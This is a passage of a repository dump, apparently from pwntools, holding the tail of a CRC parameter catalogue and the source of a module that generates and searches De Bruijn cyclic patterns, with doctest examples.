'crc_16_usb': {'check': 46280,\n                    'init': 65535,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-usb',\n                    'name': 'crc_16_usb',\n                    'poly': 32773,\n                    'refin': True,\n                    'refout': True,\n                    'width': 16,\n                    'xorout': 65535},\n     'crc_16_xmodem': {'check': 12739,\n                       'init': 0,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-xmodem',\n                       'name': 'crc_16_xmodem',\n                       'poly': 4129,\n                       'refin': False,\n                       'refout': False,\n                       'width': 16,\n                       'xorout': 0},\n     'crc_17_can_fd': {'check': 20227,\n                       'init': 0,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-17-can-fd',\n                       'name': 'crc_17_can_fd',\n                       'poly': 92251,\n                       'refin': False,\n                       'refout': False,\n                       'width': 17,\n                       'xorout': 0},\n     'crc_21_can_fd': {'check': 972865,\n                       'init': 0,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-21-can-fd',\n                       'name': 'crc_21_can_fd',\n                       'poly': 1058969,\n                       'refin': False,\n                       'refout': False,\n                       'width': 21,\n                       'xorout': 0},\n     'crc_24_ble': {'check': 12737110,\n                    'init': 5592405,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-24-ble',\n                    'name': 'crc_24_ble',\n                    'poly': 1627,\n                    'refin': True,\n                    'refout': True,\n                    'width': 24,\n                    'xorout': 0},\n     'crc_24_flexray_a': {'check': 7961021,\n                          'init': 16702650,\n                          'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-24-flexray-a',\n                          'name': 'crc_24_flexray_a',\n                          'poly': 6122955,\n                          'refin': False,\n                          'refout': False,\n                          'width': 24,\n                          'xorout': 0},\n     'crc_24_flexray_b': {'check': 2040760,\n                          'init': 11259375,\n                          'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-24-flexray-b',\n                          'name': 'crc_24_flexray_b',\n                          'poly': 6122955,\n                          'refin': False,\n                          'refout': False,\n                          'width': 24,\n                          'xorout': 0},\n     'crc_24_interlaken': {'check': 11858918,\n                           'init': 16777215,\n                           'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-24-interlaken',\n                           'name': 'crc_24_interlaken',\n                           'poly': 3312483,\n                           'refin': False,\n                           'refout': False,\n                           'width': 24,\n                           'xorout': 16777215},\n     'crc_24_lte_a': {'check': 13494019,\n                      'init': 0,\n                      'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-24-lte-a',\n                      'name': 'crc_24_lte_a',\n                      'poly': 8801531,\n                      'refin': False,\n                      'refout': False,\n                      'width': 24,\n                      'xorout': 0},\n     'crc_24_lte_b': {'check': 2355026,\n                      'init': 0,\n                      'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-24-lte-b',\n                      'name': 'crc_24_lte_b',\n                      'poly': 8388707,\n                      'refin': False,\n                      'refout': False,\n                      'width': 24,\n                      'xorout': 0},\n     'crc_24_openpgp': {'check': 2215682,\n                        'init': 11994318,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-24-openpgp',\n                        'name': 'crc_24_openpgp',\n                        'poly': 8801531,\n                        'refin': False,\n                        'refout': False,\n                        'width': 24,\n                        'xorout': 0},\n     'crc_24_os_9': {'check': 2101157,\n                     'init': 16777215,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-24-os-9',\n                     'name': 'crc_24_os_9',\n                     'poly': 8388707,\n                     'refin': False,\n                     'refout': False,\n                     'width': 24,\n                     'xorout': 16777215},\n     'crc_30_cdma': {'check': 79907519,\n                     'init': 1073741823,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-30-cdma',\n                     'name': 'crc_30_cdma',\n                     'poly': 540064199,\n                     'refin': False,\n                     'refout': False,\n                     'width': 30,\n                     'xorout': 1073741823},\n     'crc_31_philips': {'check': 216654956,\n                        'init': 2147483647,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-31-philips',\n                        'name': 'crc_31_philips',\n                        'poly': 79764919,\n                        'refin': False,\n                        'refout': False,\n                        'width': 31,\n                        'xorout': 2147483647},\n     'crc_32_aixm': {'check': 806403967,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-aixm',\n                     'name': 'crc_32_aixm',\n                     'poly': 2168537515,\n                     'refin': False,\n                     'refout': False,\n                     'width': 32,\n                     'xorout': 0},\n     'crc_32_autosar': {'check': 379048042,\n                        'init': 4294967295,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-autosar',\n                        'name': 'crc_32_autosar',\n                        'poly': 4104977171,\n                        'refin': True,\n                        'refout': True,\n                        'width': 32,\n                        'xorout': 4294967295},\n     'crc_32_base91_d': {'check': 2268157302,\n                         'init': 4294967295,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-base91-d',\n                         'name': 'crc_32_base91_d',\n                         'poly': 2821953579,\n                         'refin': True,\n                         'refout': True,\n                         'width': 32,\n                         'xorout': 4294967295},\n     'crc_32_bzip2': {'check': 4236843288,\n                      'init': 4294967295,\n                      'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-bzip2',\n                      'name': 'crc_32_bzip2',\n                      'poly': 79764919,\n                      'refin': False,\n                      'refout': False,\n                      'width': 32,\n                      'xorout': 4294967295},\n     'crc_32_cd_rom_edc': {'check': 1858268612,\n                           'init': 0,\n                           'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-cd-rom-edc',\n                           'name': 'crc_32_cd_rom_edc',\n                           'poly': 2147581979,\n                           'refin': True,\n                           'refout': True,\n                           'width': 32,\n                           'xorout': 0},\n     'crc_32_cksum': {'check': 1985902208,\n                      'init': 0,\n                      'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-cksum',\n                      'name': 'crc_32_cksum',\n                      'poly': 79764919,\n                      'refin': False,\n                      'refout': False,\n                      'width': 32,\n                      'xorout': 4294967295},\n     'crc_32_iscsi': {'check': 3808858755,\n                      'init': 4294967295,\n                      'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-iscsi',\n                      'name': 'crc_32_iscsi',\n                      'poly': 517762881,\n                      'refin': True,\n                      'refout': True,\n                      'width': 32,\n                      'xorout': 4294967295},\n     'crc_32_iso_hdlc': {'check': 3421780262,\n                         'init': 4294967295,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-iso-hdlc',\n                         'name': 'crc_32_iso_hdlc',\n                         'poly': 79764919,\n                         'refin': True,\n                         'refout': True,\n                         'width': 32,\n                         'xorout': 4294967295},\n     'crc_32_jamcrc': {'check': 873187033,\n                       'init': 4294967295,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-jamcrc',\n                       'name': 'crc_32_jamcrc',\n                       'poly': 79764919,\n                       'refin': True,\n                       'refout': True,\n                       'width': 32,\n                       'xorout': 0},\n     'crc_32_mef': {'check': 3535941457,\n                    'init': 4294967295,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-mef',\n                    'name': 'crc_32_mef',\n                    'poly': 1947962583,\n                    'refin': True,\n                    'refout': True,\n                    'width': 32,\n                    'xorout': 0},\n     'crc_32_mpeg_2': {'check': 58124007,\n                       'init': 4294967295,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-mpeg-2',\n                       'name': 'crc_32_mpeg_2',\n                       'poly': 79764919,\n                       'refin': False,\n                       'refout': False,\n                       'width': 32,\n                       'xorout': 0},\n     'crc_32_xfer': {'check': 3171672888,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-32-xfer',\n                     'name': 'crc_32_xfer',\n                     'poly': 175,\n                     'refin': False,\n                     'refout': False,\n                     'width': 32,\n                     'xorout': 0},\n     'crc_3_gsm': {'check': 4,\n                   'init': 0,\n                   'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-3-gsm',\n                   'name': 'crc_3_gsm',\n                   'poly': 3,\n                   'refin': False,\n                   'refout': False,\n                   'width': 3,\n                   'xorout': 7},\n     'crc_3_rohc': {'check': 6,\n                    'init': 7,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-3-rohc',\n                    'name': 'crc_3_rohc',\n                    'poly': 3,\n                    'refin': True,\n                    'refout': True,\n                    'width': 3,\n                    'xorout': 0},\n     'crc_40_gsm': {'check': 910907393606,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-40-gsm',\n                    'name': 'crc_40_gsm',\n                    'poly': 75628553,\n                    'refin': False,\n                    'refout': False,\n                    'width': 40,\n                    'xorout': 1099511627775},\n     'crc_4_g_704': {'check': 7,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-4-g-704',\n                     'name': 'crc_4_g_704',\n                     'poly': 3,\n                     'refin': True,\n                     'refout': True,\n                     'width': 4,\n                     'xorout': 0},\n     'crc_4_interlaken': {'check': 11,\n                          'init': 15,\n                          'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-4-interlaken',\n                          'name': 'crc_4_interlaken',\n                          'poly': 3,\n                          'refin': False,\n                          'refout': False,\n                          'width': 4,\n                          'xorout': 15},\n     'crc_5_epc_c1g2': {'check': 0,\n                        'init': 9,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-5-epc-c1g2',\n                        'name': 'crc_5_epc_c1g2',\n                        'poly': 9,\n                        'refin': False,\n                        'refout': False,\n                        'width': 5,\n                        'xorout': 0},\n     'crc_5_g_704': {'check': 7,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-5-g-704',\n                     'name': 'crc_5_g_704',\n                     'poly': 21,\n                     'refin': True,\n                     'refout': True,\n                     'width': 5,\n                     'xorout': 0},\n     'crc_5_usb': {'check': 25,\n                   'init': 31,\n                   'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-5-usb',\n                   'name': 'crc_5_usb',\n                   'poly': 5,\n                   'refin': True,\n                   'refout': True,\n                   'width': 5,\n                   'xorout': 31},\n     'crc_64_ecma_182': {'check': 7800480153909949255,\n                         'init': 0,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-64-ecma-182',\n                         'name': 'crc_64_ecma_182',\n                         'poly': 4823603603198064275,\n                         'refin': False,\n                         'refout': False,\n                         'width': 64,\n                         'xorout': 0},\n     'crc_64_go_iso': {'check': 13333283586479230977,\n                       'init': 18446744073709551615,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-64-go-iso',\n                       'name': 'crc_64_go_iso',\n                       'poly': 27,\n                       'refin': True,\n                       'refout': True,\n                       'width': 64,\n                       'xorout': 18446744073709551615},\n     'crc_64_ms': {'check': 8490612747469246186,\n                   'init': 18446744073709551615,\n                   'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-64-ms',\n                   'name': 'crc_64_ms',\n                   'poly': 2710187085972792137,\n                   'refin': True,\n                   'refout': True,\n                   'width': 64,\n                   'xorout': 0},\n     'crc_64_we': {'check': 7128171145767219210,\n                   'init': 18446744073709551615,\n                   'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-64-we',\n                   'name': 'crc_64_we',\n                   'poly': 4823603603198064275,\n                   'refin': False,\n                   'refout': False,\n                   'width': 64,\n                   'xorout': 18446744073709551615},\n     'crc_64_xz': {'check': 11051210869376104954,\n                   'init': 18446744073709551615,\n                   'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-64-xz',\n                   'name': 'crc_64_xz',\n                   'poly': 4823603603198064275,\n                   'refin': True,\n                   'refout': True,\n                   'width': 64,\n                   'xorout': 18446744073709551615},\n     'crc_6_cdma2000_a': {'check': 13,\n                          'init': 63,\n                          'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-a',\n                          'name': 'crc_6_cdma2000_a',\n                          'poly': 39,\n                          'refin': False,\n                          'refout': False,\n                          'width': 6,\n                          'xorout': 0},\n     'crc_6_cdma2000_b': {'check': 59,\n                          'init': 63,\n                          'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b',\n                          'name': 'crc_6_cdma2000_b',\n                          'poly': 7,\n                          'refin': False,\n                          'refout': False,\n                          'width': 6,\n                          'xorout': 0},\n     'crc_6_darc': {'check': 38,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-6-darc',\n                    'name': 'crc_6_darc',\n                    'poly': 25,\n                    'refin': True,\n                    'refout': True,\n                    'width': 6,\n                    'xorout': 0},\n     'crc_6_g_704': {'check': 6,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-6-g-704',\n                     'name': 'crc_6_g_704',\n                     'poly': 3,\n                     'refin': True,\n                     'refout': True,\n                     'width': 6,\n                     'xorout': 0},\n     'crc_6_gsm': {'check': 19,\n                   'init': 0,\n                   'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-6-gsm',\n                   'name': 'crc_6_gsm',\n                   'poly': 47,\n                   'refin': False,\n                   'refout': False,\n                   'width': 6,\n                   'xorout': 63},\n     'crc_7_mmc': {'check': 117,\n                   'init': 0,\n                   'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-7-mmc',\n                   'name': 'crc_7_mmc',\n                   'poly': 9,\n                   'refin': False,\n                   'refout': False,\n                   'width': 7,\n                   'xorout': 0},\n     'crc_7_rohc': {'check': 83,\n                    'init': 127,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-7-rohc',\n                    'name': 'crc_7_rohc',\n                    'poly': 79,\n                    'refin': True,\n                    'refout': True,\n                    'width': 7,\n                    'xorout': 0},\n     'crc_7_umts': {'check': 97,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-7-umts',\n                    'name': 'crc_7_umts',\n                    'poly': 69,\n                    'refin': False,\n                    'refout': False,\n                    'width': 7,\n                    'xorout': 0},\n     'crc_82_darc': {'check': 749237524598872659187218,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-82-darc',\n                     'name': 'crc_82_darc',\n                     'poly': 229256212191916381701137,\n                     'refin': True,\n                     'refout': True,\n                     'width': 82,\n                     'xorout': 0},\n     'crc_8_autosar': {'check': 223,\n                       'init': 255,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-autosar',\n                       'name': 'crc_8_autosar',\n                       'poly': 47,\n                       'refin': False,\n                       'refout': False,\n                       'width': 8,\n                       'xorout': 255},\n     'crc_8_bluetooth': {'check': 38,\n                         'init': 0,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-bluetooth',\n                         'name': 'crc_8_bluetooth',\n                         'poly': 167,\n                         'refin': True,\n                         'refout': True,\n                         'width': 8,\n                         'xorout': 0},\n     'crc_8_cdma2000': {'check': 218,\n                        'init': 255,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000',\n                        'name': 'crc_8_cdma2000',\n                        'poly': 155,\n                        'refin': False,\n                        'refout': False,\n                        'width': 8,\n                        'xorout': 0},\n     'crc_8_darc': {'check': 21,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-darc',\n                    'name': 'crc_8_darc',\n                    'poly': 57,\n                    'refin': True,\n                    'refout': True,\n                    'width': 8,\n                    'xorout': 0},\n     'crc_8_dvb_s2': {'check': 188,\n                      'init': 0,\n                      'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2',\n                      'name': 'crc_8_dvb_s2',\n                      'poly': 213,\n                      'refin': False,\n                      'refout': False,\n                      'width': 8,\n                      'xorout': 0},\n     'crc_8_gsm_a': {'check': 55,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-gsm-a',\n                     'name': 'crc_8_gsm_a',\n                     'poly': 29,\n                     'refin': False,\n                     'refout': False,\n                     'width': 8,\n                     'xorout': 0},\n     'crc_8_gsm_b': {'check': 148,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-gsm-b',\n                     'name': 'crc_8_gsm_b',\n                     'poly': 73,\n                     'refin': False,\n                     'refout': False,\n                     'width': 8,\n                     'xorout': 255},\n     'crc_8_hitag': {'check': 180,\n                     'init': 255,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-hitag',\n                     'name': 'crc_8_hitag',\n                     'poly': 29,\n                     'refin': False,\n                     'refout': False,\n                     'width': 8,\n                     'xorout': 0},\n     'crc_8_i_432_1': {'check': 161,\n                       'init': 0,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-i-432-1',\n                       'name': 'crc_8_i_432_1',\n                       'poly': 7,\n                       'refin': False,\n                       'refout': False,\n                       'width': 8,\n                       'xorout': 85},\n     'crc_8_i_code': {'check': 126,\n                      'init': 253,\n                      'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-i-code',\n                      'name': 'crc_8_i_code',\n                      'poly': 29,\n                      'refin': False,\n                      'refout': False,\n                      'width': 8,\n                      'xorout': 0},\n     'crc_8_lte': {'check': 234,\n                   'init': 0,\n                   'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-lte',\n                   'name': 'crc_8_lte',\n                   'poly': 155,\n                   'refin': False,\n                   'refout': False,\n                   'width': 8,\n                   'xorout': 0},\n     'crc_8_maxim_dow': {'check': 161,\n                         'init': 0,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-maxim-dow',\n                         'name': 'crc_8_maxim_dow',\n                         'poly': 49,\n                         'refin': True,\n                         'refout': True,\n                         'width': 8,\n                         'xorout': 0},\n     'crc_8_mifare_mad': {'check': 153,\n                          'init': 199,\n                          'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-mifare-mad',\n                          'name': 'crc_8_mifare_mad',\n                          'poly': 29,\n                          'refin': False,\n                          'refout': False,\n                          'width': 8,\n                          'xorout': 0},\n     'crc_8_nrsc_5': {'check': 247,\n                      'init': 255,\n                      'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-nrsc-5',\n                      'name': 'crc_8_nrsc_5',\n                      'poly': 49,\n                      'refin': False,\n                      'refout': False,\n                      'width': 8,\n                      'xorout': 0},\n     'crc_8_opensafety': {'check': 62,\n                          'init': 0,\n                          'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-opensafety',\n                          'name': 'crc_8_opensafety',\n                          'poly': 47,\n                          'refin': False,\n                          'refout': False,\n                          'width': 8,\n                          'xorout': 0},\n     'crc_8_rohc': {'check': 208,\n                    'init': 255,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-rohc',\n                    'name': 'crc_8_rohc',\n                    'poly': 7,\n                    'refin': True,\n                    'refout': True,\n                    'width': 8,\n                    'xorout': 0},\n     'crc_8_sae_j1850': {'check': 75,\n                         'init': 255,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-sae-j1850',\n                         'name': 'crc_8_sae_j1850',\n                         'poly': 29,\n                         'refin': False,\n                         'refout': False,\n                         'width': 8,\n                         'xorout': 255},\n     'crc_8_smbus': {'check': 244,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-smbus',\n                     'name': 'crc_8_smbus',\n                     'poly': 7,\n                     'refin': False,\n                     'refout': False,\n                     'width': 8,\n                     'xorout': 0},\n     'crc_8_tech_3250': {'check': 151,\n                         'init': 255,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-tech-3250',\n                         'name': 'crc_8_tech_3250',\n                         'poly': 29,\n                         'refin': True,\n                         'refout': True,\n                         'width': 8,\n                         'xorout': 0},\n     'crc_8_wcdma': {'check': 37,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-8-wcdma',\n                     'name': 'crc_8_wcdma',\n                     'poly': 155,\n                     'refin': True,\n                     'refout': True,\n                     'width': 8,\n                     'xorout': 0}}\n"
  },
  {
    "path": "pwnlib/util/cyclic.py",
    "content": "import string\n\nfrom pwnlib.context import context, LocalNoarchContext\nfrom pwnlib.log import getLogger\nfrom pwnlib.util import packing, iters\n\nlog = getLogger(__name__)\n\n# Taken from https://en.wikipedia.org/wiki/De_Bruijn_sequence but changed to a generator\ndef de_bruijn(alphabet = None, n = None):\n    \"\"\"de_bruijn(alphabet = None, n = None) -> generator\n\n    Generator for a sequence of unique substrings of length `n`. This is implemented using a\n    De Bruijn Sequence over the given `alphabet`.\n\n    The returned generator will yield up to ``len(alphabet)**n`` elements.\n\n    Arguments:\n        alphabet: List or string to generate the sequence over.\n        n(int): The length of subsequences that should be unique.\n    \"\"\"\n    if alphabet is None:\n        alphabet = context.cyclic_alphabet\n    if n is None:\n        n = context.cyclic_size\n    if isinstance(alphabet, bytes):\n        alphabet = bytearray(alphabet)\n    k = len(alphabet)\n    a = [0] * k * n\n    def db(t, p):\n        if t > n:\n            if n % p == 0:\n                for j in range(1, p + 1):\n                    yield alphabet[a[j]]\n        else:\n            a[t] = a[t - p]\n            for c in db(t + 1, p):\n                yield c\n\n            for j in range(a[t - p] + 1, k):\n                a[t] = j\n                for c in db(t + 1, t):\n                    yield c\n\n    return db(1,1)\n\ndef cyclic(length = None, alphabet = None, n = None):\n    \"\"\"cyclic(length = None, alphabet = None, n = None) -> list/str\n\n    A simple wrapper over :func:`de_bruijn`. This function returns at most\n    `length` elements.\n\n    If the given alphabet is a string, a string is returned from this function. Otherwise\n    a list is returned.\n\n    Arguments:\n        length: The desired length of the list or None if the entire sequence is desired.\n        alphabet: List or string to generate the sequence over.\n        n(int): The length of subsequences that should be unique.\n\n    Notes:\n        The maximum length is `len(alphabet)**n`.\n\n        The default values for `alphabet` and `n` restrict the total space to ~446KB.\n\n        If you need to generate a longer cyclic pattern, provide a longer `alphabet`,\n        or if possible a larger `n`.\n\n    Example:\n\n        Cyclic patterns are usually generated by providing a specific `length`.\n\n        >>> cyclic(20)\n        b'aaaabaaacaaadaaaeaaa'\n\n        >>> cyclic(32)\n        b'aaaabaaacaaadaaaeaaafaaagaaahaaa'\n\n        The `alphabet` and `n` arguments will control the actual output of the pattern\n\n        >>> cyclic(20, alphabet=string.ascii_uppercase)\n        'AAAABAAACAAADAAAEAAA'\n\n        >>> cyclic(20, n=8)\n        b'aaaaaaaabaaaaaaacaaa'\n\n        >>> cyclic(20, n=2)\n        b'aabacadaeafagahaiaja'\n\n        The size of `n` and `alphabet` limit the maximum length that can be generated.\n        Without providing `length`, the entire possible cyclic space is generated.\n\n        >>> cyclic(alphabet = \"ABC\", n = 3)\n        'AAABAACABBABCACBACCBBBCBCCC'\n\n        >>> cyclic(length=512, alphabet = \"ABC\", n = 3)\n        Traceback (most recent call last):\n        ...\n        PwnlibException: Can't create a pattern length=512 with len(alphabet)==3 and n==3\n\n        The `alphabet` can be set in `context`, which is useful for circumstances\n        when certain characters are not allowed.  See :obj:`.context.cyclic_alphabet`.\n\n        >>> context.cyclic_alphabet = \"ABC\"\n        >>> cyclic(10)\n        b'AAAABAAACA'\n\n        The original values can always be restored with:\n\n        >>> context.clear()\n\n        The following just a test to make sure the length is correct.\n\n        >>> alphabet, n = range(30), 3\n        >>> len(alphabet)**n, len(cyclic(alphabet = alphabet, n = n))\n        (27000, 27000)\n    \"\"\"\n    if n is None:\n        n = context.cyclic_size\n\n    if alphabet is None:\n        alphabet = context.cyclic_alphabet\n\n    if length is not None and len(alphabet) ** n < length:\n        log.error(\"Can't create a pattern length=%i with len(alphabet)==%i and n==%i\",\n                  length, len(alphabet), n)\n\n    generator = de_bruijn(alphabet, n)\n    out = iters.take(length, generator)\n\n    return _join_sequence(out, alphabet)\n\n@LocalNoarchContext\ndef cyclic_find(subseq, alphabet = None, n = None):\n    \"\"\"cyclic_find(subseq, alphabet = None, n = None) -> int\n\n    Calculates the position of a substring into a De Bruijn sequence.\n\n    .. todo:\n\n       \"Calculates\" is an overstatement. It simply traverses the list.\n\n       There exists better algorithms for this, but they depend on generating\n       the De Bruijn sequence in another fashion. Somebody should look at it:\n\n       https://www.sciencedirect.com/science/article/pii/S0012365X00001175\n\n    Arguments:\n        subseq: The subsequence to look for. This can be a string, a list or an\n                integer. If an integer is provided it will be packed as a\n                little endian integer.\n        alphabet: List or string to generate the sequence over.\n                  By default, uses :obj:`.context.cyclic_alphabet`.\n        n(int): The length of subsequences that should be unique.\n                By default, uses :obj:`.context.cyclic_size`.\n\n    Examples:\n\n        Let's generate an example cyclic pattern.\n\n        >>> cyclic(16)\n        b'aaaabaaacaaadaaa'\n\n        Note that 'baaa' starts at offset 4.  The `cyclic_find` routine shows us this:\n\n        >>> cyclic_find(b'baaa')\n        4\n\n        The *default* length of a subsequence generated by `cyclic` is `4`.\n        If a longer value is submitted, it is automatically truncated to four bytes.\n\n        >>> cyclic_find(b'baaacaaa')\n        4\n\n        If you provided e.g. `n=8` to `cyclic` to generate larger subsequences,\n        you must explicitly provide that argument.\n\n        >>> cyclic_find(b'baaacaaa', n=8)\n        3515208\n\n        We can generate a large cyclic pattern, and grab a subset of it to\n        check a deeper offset.\n\n        >>> cyclic_find(cyclic(1000)[514:518])\n        514\n\n        Instead of passing in the byte representation of the pattern, you can\n        also pass in the integer value.  Note that this is sensitive to the\n        selected endianness via `context.endian`.\n\n        >>> cyclic_find(0x61616162)\n        4\n        >>> cyclic_find(0x61616162, endian='big')\n        1\n\n        Similarly to the case where you can provide a bytes value that is longer\n        than four bytes, you can provided an integer value that is larger than\n        what can be held in four bytes. If such a large value is given, it is\n        automatically truncated.\n\n        >>> cyclic_find(0x6161616361616162)\n        4\n        >>> cyclic_find(0x6261616163616161, endian='big')\n        4\n\n        You can use anything for the cyclic pattern, including non-printable\n        characters.\n\n        >>> cyclic_find(0x00000000, alphabet=unhex('DEADBEEF00'))\n        621\n    \"\"\"\n\n    if n is None:\n        n = context.cyclic_size\n\n    if isinstance(subseq, int):\n        if subseq >= 2**(8*n):\n            # Assumption: The user has given an integer that is more than 2**(8n) bits, but would otherwise fit within\n            #  a register of size 2**(8m) where m is a multiple of four\n            notice = (\"cyclic_find() expected an integer argument <= {cap:#x}, you gave {gave:#x}\\n\"\n                      \"Unless you specified cyclic(..., n={fits}), you probably just want the first {n} bytes.\\n\"\n                      \"Truncating the data at {n} bytes.  Specify cyclic_find(..., n={fits}) to override this.\").format(\n                cap=2**(8*n)-1,\n                gave=subseq,\n                # The number of bytes needed to represent subseq, rounded to the next 4\n                fits=int(round(float(subseq.bit_length()) / 32 + 0.5) * 32) // 8,\n                n=n,\n            )\n            log.warn_once(notice)\n            if context.endian == 'little':\n                subseq &= 2**(8*n) - 1\n            else:\n                while subseq >= 2**(8*n):\n                    subseq >>= 8*n\n        subseq = packing.pack(subseq, bytes=n)\n    subseq = packing._need_bytes(subseq, 2, 0x80)\n\n    if len(subseq) != n:\n        log.warn_once(\"cyclic_find() expected a %i-byte subsequence, you gave %r\\n\"\n            \"Unless you specified cyclic(..., n=%i), you probably just want the first %d bytes.\\n\"\n            \"Truncating the data at %d bytes.  Specify cyclic_find(..., n=%i) to override this.\",\n            n, subseq, len(subseq), n, n, len(subseq))\n        subseq = subseq[:n]\n\n    if alphabet is None:\n        alphabet = context.cyclic_alphabet\n    alphabet = packing._need_bytes(alphabet, 2, 0x80)\n\n    if any(c not in alphabet for c in subseq):\n        return -1\n\n    n = n or len(subseq)\n\n    return _gen_find(subseq, de_bruijn(alphabet, n))\n\ndef metasploit_pattern(sets = None):\n    \"\"\"metasploit_pattern(sets = [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]) -> generator\n\n    Generator for a sequence of characters as per Metasploit Framework's\n    `Rex::Text.pattern_create` (aka `pattern_create.rb`).\n\n    The returned generator will yield up to\n    ``len(sets) * reduce(lambda x,y: x*y, map(len, sets))`` elements.\n\n    Arguments:\n        sets: List of strings to generate the sequence over.\n    \"\"\"\n    sets = sets or [ string.ascii_uppercase, string.ascii_lowercase, string.digits ]\n    offsets = [ 0 ] * len(sets)\n    offsets_indexes_reversed = list(reversed(range(len(offsets))))\n\n    while True:\n        for i, j in zip(sets, offsets):\n            if isinstance(i, bytes):\n                i = bytearray(i)\n            yield i[j]\n        # increment offsets with cascade\n        for i in offsets_indexes_reversed:\n            